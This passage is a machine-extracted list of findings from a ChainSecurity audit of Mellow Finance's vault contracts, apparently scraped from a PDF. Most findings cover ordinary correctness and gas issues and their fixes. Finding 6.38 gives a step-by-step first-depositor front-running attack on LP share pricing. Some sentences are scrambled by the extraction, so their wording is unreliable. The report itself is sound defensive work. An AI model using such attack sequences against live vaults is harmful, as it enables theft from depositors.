tickMin tickMax \u2212 tickMin The implementation of MStrategy._targetTokenRatioD has been updated to comply to the specification. Mellow Finance - Mellow Vaults - 34 CorrectnessMediumVersion1Speci\ufb01cationChangedCorrectnessMediumVersion1CodeCorrected \f6.27 Incorrect Access of Addresses in EnumerableSet Function commitAllValidatorsSurpassedDelay in the protocol governance contract has a for loop that iterates through _stagedValidatorsAddresses and commits the ones for which the delay period has passed. The respective code is: for (uint256 i; i != length; i++) { address stagedAddress = _stagedValidatorsAddresses.at(0); if (block.timestamp >= stagedValidatorsTimestamps[stagedAddress]) { ... } } The variable stagedAddress inside the loop points always to the hard-coded index 0, hence if there is at least one address in staged validators for which the deadline has not passed, the loop will just run until it reaches i==length. The 0 was replaced by the index variable i. The loop exit conditions were changed to: uint256 length = _stagedValidatorsAddresses.length(); ... uint256 addressesCommittedLength; for (uint256 i; i != length;) { address stagedAddress = _stagedValidatorsAddresses.at(i); ... addressesCommitted[addressesCommittedLength] = stagedAddress; ++addressesCommittedLength; --length; ... } else { ++i; } ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.28 Missing Checks for Dust Amounts When", "body": " Rebalancing Pools The function _rebalancePools in MStrategy rebalances the erc20Vault and moneyVault to comply to the specified ratio erc20MoneyRatioD. The rebalancing is performed always when a non-zero amount should be moved from one vault to the other, i.e., even for dust amounts. Considering that pull is relatively costly, the strategy would be more efficient if it performs the rebalancing of the two pools only if a minimum threshold of tokens should be moved. Mellow Finance - Mellow Vaults - 35 CorrectnessMediumVersion1CodeCorrectedDesignMediumVersion1CodeCorrected \f The updated code does not perform the token transfers if only dust amounts should be moved: if ((absoluteTokenAmounts[0] < minDeviation) && (absoluteTokenAmounts[1] < minDeviation)) { return tokenAmounts; } ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.29 Missing Delay Restriction in BaseValidator", "body": " Setting the new params in BaseValidator follows the pattern stage-wait-commit. On staging the new parameters, the respective timestamp is updated: _stagedValidatorParamsTimestamp = block.timestamp + governance.governanceDelay; However, the admin of the governance can commit the staged parameters at any time, e.g., immediately after staging them, by calling commitValidatorParams as the function does not check if the delay period has passed. The block.timestamp >= _stagedValidatorParamsTimestamp. function checks delay now the with a require validating ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.30 Missing Sanity Checks in signOrder", "body": " The function signOrder in LStrategy performs some sanity checks if the submitted order is in line with the values of the posted preOrder. However, the check for order.receiver is missing, therefore the caller can set any arbitrary address and receive the buyToken. The code doing the sanity checks for order in signOrder has been moved to the separate function LStrategyOrderHelper.checkOrder which the erc20Vault. the receiver the check includes that is ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.31 No Slippage Protection in Multiple Contracts", "body": " push and pull functions in UniV3Vault take options arguments that contain the minimum amount of tokens for slippage protection. Mellow Finance - Mellow Vaults - 36 CorrectnessMediumVersion1CodeCorrectedSecurityMediumVersion1CodeCorrectedSecurityMediumVersion1CodeCorrected \fpush and pull functions in MellowVault take an options argument that contains the minimum amount of LP tokens for slippage protection. In the following cases, these options are not used: call ERC20RootVault.deposit calls AggregateVault._push without options, which could result in described a of Vault``s without slippage protection if the first ``subVault of the ERC20RootVault is one of the described Vault s. With the current contract setup, this is not possible though. _push one the to of ERC20RootVault.withdraw calls AggregateVault._pull without options, which could result in a call to _pull of one of the described ``Vault``s without slippage protection. MStrategy.manualPull calls pull of an arbitrary Vault without options, which could result in a call to _pull of one of the described ``Vault``s without slippage protection. MStrategy._rebalancePools calls pull of an arbitrary Vault without options, which could result in a call to _pull of one of the described ``Vault``s without slippage protection. MStrategy._swapToTarget calls pull of an arbitrary Vault without options, which could result in a call to _pull of one of the described ``Vault``s without slippage protection. A new parameter with option for slippage protection was introduced. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.32 Possible Underflow in UniV3Oracle.price", "body": " The UniV3Oracle computes the price of two tokens based on two observations obs1 and obs0 from the Uniswap. The respective code is: uint256 obs1 = (uint256(observationIndex) + uint256(observationCardinality) - 1) % uint256(observationCardinality); uint256 obs0 = (uint256(observationIndex) + uint256(observationCardinality) - bfAvg) % uint256(observationCardinality); int256 tickAverage; { (uint32 timestamp0, int56 tick0, , ) = IUniswapV3Pool(pool).observations(obs0); (uint32 timestamp1, int56 tick1, , ) = IUniswapV3Pool(pool).observations(obs1); uint256 timespan = timestamp1 - timestamp0; // reverts ... } The obj1 points to the previous observation (the one before the most recent observation), while the obj0 should point to bfAvg observations before obj1. However, in case: bfAvg == observationCardinality obj0 would point to the most recent observation, which would have a more recent timestamp than obj1, hence the statement to compute timespan would cause an underflow which reverts. Mellow Finance - Mellow Vaults - 37 CorrectnessMediumVersion1CodeCorrected \fThe possibility of the underflow as described above has been mitigated in the updated code as the bfAvg cannot be equal to obersvationCardinality: if (observationCardinality <= bfAvg) { continue; } Note that, the oracle does not return a price if for some pool bfAvg is equal to the observations cardinality. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.33 Rebalance in LStrategy Can Leave Tokens in", "body": " the Vault to Be Closed The internal function _rebalanceUniV3Liquidity should move the desiredLiquidity from one vault to the other depending on the price trend. If the price moves outside the range covered by a vault, all liquidity should be moved to the other vault and a new position should be open. However, given that lowerVault and upperVault operate on different price ranges, it means that they have different token ratios. Hence, when moving tokens from one vault to the other, the function caps the liquidity being transferred to the available balance in the cash position that can fill the token difference of two positions (the relevant code is shown below). However, if the cash position has insufficient balance to cover the difference for the whole liquidity being transferred, fromVault will have some remaining liquidity, hence it cannot be closed. As a consequence, a new Uniswap position cannot be created to cover the price as intended. uint128 potentialLiquidity = uint128( FullMath.mulDiv( availableBalances[i], DENOMINATOR, shouldDepositTokenAmountsD[i] - shouldWithdrawTokenAmountsD[i] ) ); liquidity = potentialLiquidity < liquidity ? potentialLiquidity : liquidity; The function LStrategy._rebalanceUniV3Liquidity has been modified in to withdraw everything from a vault when desiredLiquidity is set to maximum value of uint128, which is the case when a vault is to be closed. The relevant code is: uint256[] memory withdrawTokenAmounts = fromVault.liquidityToTokenAmounts( desiredLiquidity == type(uint128).max ? desiredLiquidity : liquidity ); pulledAmounts = fromVault.pull( address(erc20Vault), tokens, withdrawTokenAmounts, _makeUniswapVaultOptions(minWithdrawTokens, deadline) ); Mellow Finance - Mellow Vaults - 38 DesignMediumVersion1CodeCorrectedVersion3 \fThe array withdrawTokenAmounts will have huge amounts when the desiredLiquidity is set to max uint128, but the pull operation is capped to the existing balance of the fromVault. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.34 Subvault Tokens Are Not Checked in ", "body": " AggregateVault AggregateVault requires the _vaultTokens state array to be initialized with the same tokens and the same ordering all the subvaults have been initialized with. However, this is not enforced upon initialization. When initializing, the vault of the nft is queried in AggregateVault.initialize. The vault's tokens are queried afterwards with the call IIntegrationVault(vault).vaultTokens(). A loop checks for each token in the vault if it matches the tokens from the initialization arguments. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.35 Transferring Tokens Only to lowerVault", "body": " The following code should transfer tokens from erc20Vault to the two Uniswap vaults with the respective amounts: if (!isNegativeCapitalDelta) { totalPulledAmounts = erc20Vault.pull( address(lowerVault), tokens, lowerTokenAmounts, _makeUniswapVaultOptions(minLowerVaultTokens, deadline) ); pulledAmounts = erc20Vault.pull( address(lowerVault), tokens, upperTokenAmounts, _makeUniswapVaultOptions(minUpperVaultTokens, deadline) ); for (uint256 i = 0; i < 2; i++) { totalPulledAmounts[i] += pulledAmounts[i]; } } Both transfers above are from the erc20Vault to the lowerVault, hence no tokens are transferred to the upperVault. The bug has been fixed, the code now transfers the respective amounts to the lowerVault and upperVault. Mellow Finance - Mellow Vaults - 39 CorrectnessMediumVersion1CodeCorrectedCorrectnessMediumVersion1CodeCorrected \f6.36 Use of Libraries Mellow Finance often uses own custom code for which battle proof libraries exist. We highly recommend using libraries instead of custom implementations. Especially, when dealing with complex DeFi projects like Uniswap V3. Code Corrected: The code part were most issues were found was the Uniswap oracle. In switched to the libraries provided by uniswap to interact with the oracle. Mellow Finance ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.37 Missing Sanity Checks for ", "body": " intervalWidthInTicks function LStrategy.updateOtherParams does not perform any sanity check on The the intervalWidthInTicks. However, this parameter should be carefully updated as it affects directly the tick ranges covered by the two Uniswap vaults. For example, if the new width in ticks is the half of the existing one, the range of the new position would be fully covered by the existing vault (created with old width). In the updated version of the codebase, the parameter intervalWidthInTicks is declared as an immutable state variable, hence it set in the constructor and cannot be updated later. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.38 Possible Attack by First Depositor", "body": " The decimals of the LP shares distributed by root vaults are implicitly determined by the token amounts deposited by the first user. If the totalSupply ever goes to zero, or all TVLs are not significant, the next user that performs a deposit would affect the decimals of LP shares. This setup allows the first depositor to front-run and potentially exploit the next user depositing into the root vault. Consider the following example. 1. First Depositors deposits 10 WBTC (8 decimals, so 10**9 wei) and 10**-9 DAI (18 decimals, so 10**9 wei) Receives 10**9 LP Tokens (= max(10**9, 10**9)) 2. Second Depositor also sends a transaction to deposit 10 WBTC and 10**-9 DAI Expects to receive also 10**9 LP Tokens, hence sets minLpTokens = 10**9 3. First depositor front-runs the transaction and performs these actions: Mellow Finance - Mellow Vaults - 40 DesignMediumVersion1CodeCorrectedVersion3DesignLowVersion5CodeCorrectedSecurityLowVersion5Speci\ufb01cationChanged \f withdraw() => withdraws everything, no fees charged deposit() => deposit 10**5 WBTC wei and 10**10 DAI wei => Receives 10**10 LP tokens withdraw() => withdraws ~ 9 * 10**9 LP => TVLs = [10**4 - 1 WBTC wei, 10**9 - 1 USDC wei] First depositor still has ~ 10**9 LP 4. Transaction of second depositor is executed _getLpAmount -> isSignificantTvl == False Receives 10**9 LP tokens => slippage protection passes Deposits 10 WBTC and 10**-9 DAI 5. First depositor withdraws their ~ 10**9 LP and receives ~ 5 WBTC (after depositing only 0.0001 WBTC) Specifications changed: The updated code mitigates the attack presented above by enforcing the first deposit into a root vault to mint LP shares to address(0). To prevent from accidentally depositing large amounts in the first deposit (and effectively burning LP shares), the function checks that all amounts being deposited are between 10 * _pullExistentials[i] and a full token. Nevertheless, one full token might still have significant value for some tokens, e.g., WBTC or ETH. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.39 Possible Optimization on", "body": " _chargePerformanceFees The function _chargePerformanceFees in ERC20RootVault mints LP tokens to the treasury address as follows: uint256 toMint; if (hwmsD18 > 0) { toMint = FullMath.mulDiv(baseSupply, lpPriceD18 - hwmsD18, hwmsD18); toMint = FullMath.mulDiv(toMint, performanceFee, CommonLibrary.DENOMINATOR); } lpPriceHighWaterMarkD18 = lpPriceD18; _mint(treasury, toMint); The function would be more gas efficient if the minting is executed only for non-zero values, hence only minting when the if-condition is satisfied. In the updated code, the statement _mint(...) is moved inside the if-block, hence minting only non-zero amounts. Mellow Finance - Mellow Vaults - 41 DesignLowVersion5CodeCorrected \f6.40 Possible Violation of the Minimum Token Amounts After the First Deposit The function ERC20RootVault.deposit checks on the first deposit that all token amounts are larger than a minimum value 10 * _pullExistentials[i]. If the TVL for a token goes below the threshold, users cannot make deposits for that token. However, the first depositor can circumvent the restriction for the minimum token amounts by performing an withdrawal after the deposit. The issue presented above is not present anymore in the updated code base as the first deposit always mints LP shares to address(0). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.41 Misleading Function Name and Natspec", "body": " The function LStrategy.targetPrice returns the price in x96 format. Neither the function name, nor the natspec description clarify the format of the return value. We have reported another issue in a calling function which assumed the price to be returned in a different format. The codebase has been updated to make more explicit in the function name and natspec description of getTargetPriceX96 that the returned price is in x96 format. Similarly, other functions that return the price in x96 format are renamed accordingly. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.42 Mismatch of Specifications for", "body": " StrategyParams The natspec description for the struct StrategyParams states that the params are changed with a delay: /// @notice Params that could be changed by Strategy or Protocol Governance with Protocol Governance delay. while the natspec description of the function setStrategyParams states that they are changed immediately, which is in line with the implementation: // @notice Set Strategy params, i.e. Params that could be changed by Strategy or Protocol Governance immediately. Core corrected The natspec was corrected and does not mention the governance delay. Mellow Finance - Mellow Vaults - 42 DesignLowVersion5CodeCorrectedCorrectnessLowVersion4CodeCorrectedCorrectnessLowVersion4CodeCorrected \f6.43 Missing Sanity Check for maxSlippageD in MStrategy The function MStrategy.setOracleParams does not check that maxSlippageD is greater than zero, but if it is accidentally set to zero, the following code will revert always: .. code::solidity require(absoluteDeviation < oracleParams.maxTickDeviation, ExceptionsLibrary.INVARIANT); The function setOracleParams is updated to include a check that the new maxSlippageD parameter is not zero: require((params.maxSlippageD > 0) && (params.maxSlippageD <= DENOMINATOR), ExceptionsLibrary.INVARIANT); ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.44 Missing Sanity Checks for oracleSafetyMask", "body": " The function LStrategy.updateTradingParams performs sanity checks on the maxSlippageD, orderDeadline and oracle, but no checks are performed for oracleSafetyMask. This parameter should be non-zero for functions that query the oracle to work properly. Additionally, the function could check that at least one oracle with high safety index is included always. An additional check is added when new trading params are set by the admin. The check fort the new oracle safety mask is: newTradingParams.oracleSafetyMask > 3. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.45 Possible Struct Optimization in Strategies", "body": " Mellow Finance might want to consider to optimize some structs in the code base. E.g., in: struct TradingParams { uint32 maxSlippageD; uint32 orderDeadline; uint256 oracleSafetyMask; IOracle oracle; ... struct PreOrder { address tokenIn; address tokenOut; uint256 amountIn; Mellow Finance - Mellow Vaults - 43 DesignLowVersion4CodeCorrectedDesignLowVersion4CodeCorrectedDesignLowVersion4CodeCorrected \f uint256 minAmountOut; uint256 deadline; } struct RatioParams { int24 tickMin; int24 tickMax; uint256 erc20MoneyRatioD; int24 minTickRebalanceThreshold; int24 tickNeighborhood; int24 tickIncrease; uint256 minErc20MoneyRatioDeviation0D; uint256 minErc20MoneyRatioDeviation1D; } Some of the variables will not take up a whole word and could be reordered to be packed tightly if needed. The variables in the structs listed above are reordered to be more efficient when stored in storage in the updated code. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.46 Redundant Comparisons", "body": " The function Univ3Vault._getMinMaxPrice implements the following code: minPriceX96 = prices[0]; maxPriceX96 = prices[0]; for (uint32 i = 0; i < prices.length; ++i) { if (prices[i] < minPriceX96) { ... Note that minPriceX96 and maxPriceX96 are assigned to prices[0] before the for-loop, so the first iteration of the loop is redundant. The for-loop has been updated to start from i = 1 which avoids the redundant checks. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.47 Redundant Storage Read in ", "body": " ERC20Vault._pull _vaultTokens is a state variable that is read multiple times in the _pull function even though it is stored in memory at the beginning of the function in tokens. Mellow Finance - Mellow Vaults - 44 DesignLowVersion4CodeCorrectedDesignLowVersion4CodeCorrected \f The function has been revised to avoid storage reads for _vaultTokens, instead the value stored in memory tokens is now used. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.48 Variables Can Be Declared as Constant", "body": " The variable MAX_ESTIMATED_AAVE_APY in AaveVaultGovernance is declared as immutable and assigned to a constant in constructor. Similarly, MAX_PROTOCOL_FEE, MAX_MANAGEMENT_FEE and MAX_PERFORMANCE_FEE in ERC20RootVaultGovernance can be declared as constants. All immutable variables listed above are converted to constants. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.49 Incorrect Specification for reclaimTokens", "body": " The following statement in IntegrationVault regarding the function reclaimTokens is incorrect: /// `reclaimTokens` for mistakenly transfered tokens (not included into vaultTokens) /// additionally can be withdrawn by the protocol admin Specification changed: The statement in IntegrationVault has been changed as: /// `reclaimTokens` for claiming rewards given by an underlying protocol to erc20Vault in order to sell them there ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.50 Missing Natspec Description for ", "body": " minDeviation The parameter minDeviation in the function LStrategy._liquidityDelta has no natspec description. Code Corrected: The description for minDeviation was added. Mellow Finance - Mellow Vaults - 45 DesignLowVersion4CodeCorrectedCorrectnessLowVersion3Speci\ufb01cationChangedCorrectnessLowVersion2CodeCorrected \f6.51 Casting of maxTickDeviation maxTickDeviation _getAverageTickChecked, the variable is casted as int24: is declared as uint24 in the struct OracleParams. In function int24 maxDeviation = int24(oracleParams.maxTickDeviation); For large values of maxTickDeviation, an overflow can happen when casting as int24. The deviation is now converted to an absolute value and directly compared to the maxDeviation without casting it to an int24. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.52 Check Requirements First", "body": " Multiple functions can be more efficient by checking all requirements first (fail early), before performing expensive operations, such as external calls. We list below some examples (not an exhaustive list): UniV2Validator: in validate both branches of the if condition require the msg.sender to be the address to. The function can be optimized by checking the requirement first, and then performing the call to _verifyPath function. UniV2Validator: the function _verifyPath can be optimized by checking the following requirement first, before making external calls in the loop: require(vault.isVaultToken(path[path.length - 1]), ExceptionsLibrary.INVALID_TOKEN); UniV3Validator: the function _verifyMultiCall can be optimized by checking the following requirement first, before iterating through path and making external calls: require(recipient == address(vault), ExceptionsLibrary.INVALID_TARGET); The updated code expensive for the cases listed above. performs the checks first before executing other operations that might be ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.53 Duplicate Code _permissionIdsToMask", "body": " The function revokePermissions in the ProtocolGovernance contract implements the following loop: Mellow Finance - Mellow Vaults - 46 SecurityLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedVersion3DesignLowVersion1CodeCorrected \fuint256 diff; for (uint256 i = 0; i < permissionIds.length; ++i) { diff |= 1 << permissionIds[i]; } which is a duplicate of the _permissionIdsToMask function. The code part was replaced by a call to the _permissionIdsToMask function. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.54 Duplicate Storage Read in Deposit", "body": " In ERC20RootVault.deposit the variable totalSupply is read for the check if it is 0 and later again to be loaded into memory. The redundant storage read is eliminated in the updated code and the value stored in memory supply is used instead. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.55 Inconsistent Specifications", "body": " In the specifications of struct IProtocolGovernance.Params: permissionless is described but it's not a member of the struct. maxTokensPerVault has the description that it stores the maximum tokens managed by the protocol, not a vault as the name suggests. protocolTreasury is not described. In the specifications of unitPrices, the comment staged for commit is wrong. Specifications changed: The specifications have been updated in to address the issues reported above. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.56 Inefficient Array Shrinking", "body": " ProtocolGovernance.addressesByPermission and ProtocolGovernance.commitAllPermissionGrantsSurpassedDelay arrays with extended length and copy the values to a newly generated array with the correct size. This can be more efficiently done with mstore assembly, which is also used in various other places in the code. create Mellow Finance - Mellow Vaults - 47 DesignLowVersion1CodeCorrectedCorrectnessLowVersion1Speci\ufb01cationChangedVersion2DesignLowVersion1CodeCorrected \f The array is now cut to length via mstore as in other parts of the code. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.57 Inefficient State Variable Packing", "body": " lastFeeCharge and totalWithdrawnAmountsTimestamp in ERC20RootVault are declared as uint256. Both are timestamps; hence, it might be more efficient to pack them as uint64. This only makes sense if they are used and loaded together, which would be possible in the current code base. Similarly, other structs in other contracts can be more storage-efficient by packing variables together. Both variables lastFeeCharge and totalWithdrawnAmountsTimestamp have been declared as uint64 in the updated code. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.58 Misleading Naming of Variables in ", "body": " UniV3Oracle The function price uses variable names that are inconsistent with the variable names of Uniswap. Namely, the variables tick0 and tick1 refer to tickCumulative variables of Uniswap and not normal ticks. Similarly, the array pricesX96 temporarily stores prices in square root format which are typically referred to as sqrtPriceX96. These inconsistencies make the reading of the code harder. Code Corrected: The variables were renamed accordingly. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.59 Missing Sanity Check in ", "body": " MStrategy.createStrategy In MStrategy.createStrategy any token array could be passed in, but the strategy can only handle two tokens. There is no sanity check to limit the number of tokens. The fee parameter is also not checked even though it could only take a limited range of values. Mellow Finance - Mellow Vaults - 48 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fThe sanity check on the tokens array is added in the initialize function which is called when a new strategy is created. The sanity check for the fee parameter is performed when the pool address is queried: pool = IUniswapV3Pool(factory.getPool(tokens[0], tokens[1], fee_)); require(address(pool) != address(0), ExceptionsLibrary.ADDRESS_ZERO); ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.60 Missing Sanity Checks for Params", "body": " LStrategy.updateRatioParams and LStrategy.updateOtherParams do not perform sanity checks on all the params. Code Corrected: Both functions now perform basic sanity checks for the arguments. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.61 Misspelled Variable Names", "body": " Function deposit delayedStaretgyParams. in ERC20RootVault declares a variable with misspelled name: Struct ratioParams in MStrategy declares a variable with misspelled name: tickNeiborhood. Both variable names have been corrected in the updated code. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.62 Possible Struct Optimization", "body": " Mellow Finance might want to consider to optimize some structs in the code base. E.g., in: struct TradingParams { uint256 maxSlippageD; uint256 minRebalanceWaitTime; ... struct RatioParams { uint256 erc20UniV3CapitalRatioD; uint256 erc20TokenRatioD; uint256 minErc20UniV3CapitalRatioDeviationD; uint256 minErc20TokenRatioDeviationD; uint256 minUniV3LiquidityRatioDeviationD Mellow Finance - Mellow Vaults - 49 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fSome of the variables will not take up a whole word and could be packed if needed. The examples above and some other structs were changed. We assume that Mellow Finance evaluated all structs if an optimization is suitable and shall be applied. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.63 Rebalance in MStrategy Is Inconsistent", "body": " MStrategy provides only one function for rebalancing (rebalance) which calls _rebalancePools to enforce the predetermined ratio for the pools (erc20Vault and moneyVault) and then calls _rebalanceTokens to enforce the token ratio for the erc20Vault. The latter calls _swapToTarget which, in specific cases, pulls tokens from the moneyVault to the erc20Vault: if (amountIn > erc20Tvl[tokenInIndex]) { ... moneyVault_.pull(address(erc20Vault_), tokens_, tokenAmounts, \"\"); ... } This transfer of tokens from moneyVault to the erc20Vault would break the balance set in the function _rebalancePools called in the beginning of the rebalance process. The function rebalance has been updated to perform first the rebalance of tokens in the erc20Vault, which includes any potential swap. Afterwards, the function calls _rebalancePools which enforces the predetermined ratio of TVLs for the erc20Vault and moneyVault. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.64 Specification for minDeviation Not", "body": " Enforced The function rebalanceERC20UniV3Vaults in LStrategy calls the function _liquidityDelta and provides the minimum required deviation for a rebalance to be performed. _liquidityDelta checks the current deviation and if it is lower than the required minimum, it returns 0. However, the calling function does not check the return value, hence continues the execution of the function although no tokens will be moved. The check below for the return value of the function _liquidityDelta has been added. Now the function returns immediately if capitalDelta is equal to 0 due to current deviation being smaller than the minimum required deviation: Mellow Finance - Mellow Vaults - 50 CorrectnessLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \f(capitalDelta, isNegativeCapitalDelta) = _liquidityDelta(...); if (capitalDelta == 0) { return (pulledAmounts, false); } ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.65 Storing Redundant Data in Storage", "body": " The function _addUniV3Pools stores two entities in the mapping for each pair of tokens: poolsIndex[token0][token1] = pool; poolsIndex[token1][token0] = pool; Given that there is only one Uniswap pool for a pair of tokens and a fee, the tokens can be sorted and stored only once in the mapping: tokenA -> tokenB -> pool, assuming tokenA < tokenB. The mapping poolsIndex token0 -> token1 -> pool. now stores only one entry for a pair of tokens ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.66 Unnecessary Approval to Vault Registry", "body": " Function _initialize in Vault has the following line which gives approval to the vault registry, but it is unnecessary as VaultRegistry is the implementation contract of the NFT token: registry.setApprovalForAll(address(registry), true); The statement giving the approval has been removed from the function in . ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.67 Unused Constant in ERC20Validator", "body": " ERC20Validator declares the following constant, but it is not used: bytes4 public constant EXCHANGE_SELECTOR = 0x3df02124; Mellow Finance - Mellow Vaults - 51 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedVersion2DesignLowVersion1CodeCorrected \fThe constant was removed from the contract. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.68 Unused Event DeployedVault", "body": " The contract VaultGovernance defines the event DeployedVault but it is not used in the current code base. The updated code emits the event DeployedVault when a new vault is created. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.69 Unused Function ", "body": " LStrategy._priceX96FromTick The internal function LStrategy._priceX96FromTick is not used in the LStrategy. The function was removed from the L Strategy. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.70 Unused Imports", "body": " Throughout the code base we found many unused imports. Due to the number of unused imports, the following list is non-exhaustive and list only examples: -MellowOracle import \"@openzeppelin/contracts/utils/structs/EnumerableSet.sol\" import \"../libraries/CommonLibrary.sol\"; UniV2Oracle import \"../libraries/ExceptionsLibrary.sol\" UniV3Oracle import \"../libraries/ExceptionsLibrary.sol\" LStrategy import \"../interfaces/IVaultRegistry.sol\" import \"../interfaces/utils/IContractMeta.sol\" MStrategy import \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\"; CowswapValidator Mellow Finance - Mellow Vaults - 52 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fimport \"../libraries/CommonLibrary.sol\" import \"../libraries/PermissionIdsLibrary.sol\" CurveValidator import \"../libraries/CommonLibrary.sol\" import \"@openzeppelin/contracts/utils/structs/EnumerableSet.sol\" import \"../interfaces/validators/IValidator.sol\"; ERC20Validator import \"../libraries/CommonLibrary.sol\" UniV2Validator and UniV3Validator import \"../interfaces/validators/IValidator.sol\"; import \"../libraries/CommonLibrary.sol\" import \"@openzeppelin/contracts/utils/structs/EnumerableSet.sol\" AaveVault import \"../interfaces/vaults/IVault.sol\" AggregateVault import \"../interfaces/vaults/IAggregateVault.sol\"; import \"../libraries/PermissionIdsLibrary.sol\" ERC20RootVault import \"../interfaces/utils/IContractMeta.sol\" Code partially corrected: The unused imports have been removed from the respective contracts for all examples listed above, except for the SafeERC20 import in the MStrategy. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.71 Wrong Check of Minimum Token Amounts in ", "body": " ERC20RootVault.withdraw ERC20RootVault.withdraw compares the token amounts a user wants to receive at minimum with the calculated token amounts, but not the token amounts that are actually returned after pulling from underlying Vault s. This could potentially result in the user receiving less tokens than anticipated. The actual token amounts pulled from vaults are now validated against the minimum amounts provided by the user: `` require(actualTokenAmounts[i] >= minTokenAmounts[i],...);`` Mellow Finance - Mellow Vaults - 53 CorrectnessLowVersion1CodeCorrected \f6.72 Wrong Specification for YearnVault.tvl The specification in YearnVault mentions that YearnVault.tvl returns a cached value when in fact it does not. Specification changed: The specification has been updated in removed. and the statement about the cached value has been ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.73 ContractRegistry DOS", "body": " ContractRegistry.registerContract checks that the version of a registered contract is always increasing in: require(newContractVersion > _latestVersion(newContractName), ExceptionsLibrary.INVARIANT); If a contract is deployed with a version set to max uint, this would be the last contract possible to add to the system. No contracts could be added afterwards. Mellow Finance introduced major and minor contract version. The 16 right most bytes are the minor version and the remaining bytes to the right the major version. A require ensures that with each call to registerContract with newContractVersionMajor - latestContractVersionMajor <= 1. increase version major only can the by 1 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.74 ERC20Vault._pull Forces Push of Wrong", "body": " Amount of Tokens In ERC20Vault._pull, if tokens are not pulled to the ERC20RootVault, the receiving Vault is forced to push the received tokens. The token amounts to be pushed are set in actualTokenAmounts, but this variable is never used. Instead tokenAmounts is used. The code has been corrected to push into the integration vault the amounts as stored in 